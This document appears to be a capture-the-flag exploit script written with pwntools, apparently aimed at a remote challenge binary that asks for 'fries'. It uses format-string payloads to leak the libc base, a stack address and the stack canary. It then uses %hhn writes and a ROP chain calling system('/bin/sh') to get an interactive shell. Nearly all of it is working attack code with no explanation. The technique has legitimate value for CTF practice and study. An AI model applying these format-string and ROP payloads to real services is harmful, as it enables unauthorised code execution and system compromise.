1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * from LibcSearcher import * context( terminal=["wt.exe", "wsl"], os = "linux", arch ='amd64', log_level='debug' ) elf = ELF('./pwn')
libc = ELF("./libc.so.6") io = remote("43.249.195.138",22948) def debug(): gdb.attach(io) pause()
io.recvuntil("Emmmmm... Could you give me some fries") payload = "fries\x00" io.send(payload) io.recvuntil("Go get some fries on the pier") payload = "%10$s" io.send(payload) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x21a780 libc.address = libc_addr success("libc_addr :"+hex(libc_addr))
io.recvuntil("Go get some fries on the pier") payload = "%21$p" io.send(payload) io.recv() stack_addr = int(io.recv(14),16) success("stack_addr :"+hex(stack_addr))
io.recvuntil("Go get some fries on the pier") payload = "%23$p" io.send(payload) io.recv() canary = int(io.recv(18),16) success("canary :"+hex(canary))
buf = (stack_addr & 0xffff)-0xd0 buf1 = (buf &0xff)+0x8 buf2 = buf>>8 success("buf: "+hex(buf)) success("buf1: "+hex(buf1)) if buf1 == 0: io.recvuntil("Go get some fries on the pier") payload = b"%9$hhn".ljust(0x8,b'\x00')+p64(stack_addr-0x50) io.send(payload) else: io.recvuntil("Go get some fries on the pier") payload = (b"%"+str(buf1).encode()+b"c"+b"%10$hhn").ljust(0x10,b'\x00')+p64(stack_addr-0x50) io.send(payload)
io.recvuntil("Go get some fries on the pier") payload = (b"%"+str(buf2).encode()+b"c"+b"%10$hhn").ljust(0x10,b'\x00')+p64(stack_addr-0x50+1) io.send(payload)
rdi_addr = next(libc.search(asm("pop rdi;ret"))) binsh_addr = next(libc.search(b"/bin/sh")) system_addr = libc.sym['system'] for i in range(2): io.recvuntil("Go get some fries on the pier") payload = p64(canary)+cyclic(0x8)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) io.send(payload)
io.recvuntil("Go get some fries on the pier") payload = p64(canary)
io.send(payload)
io.interactive()
|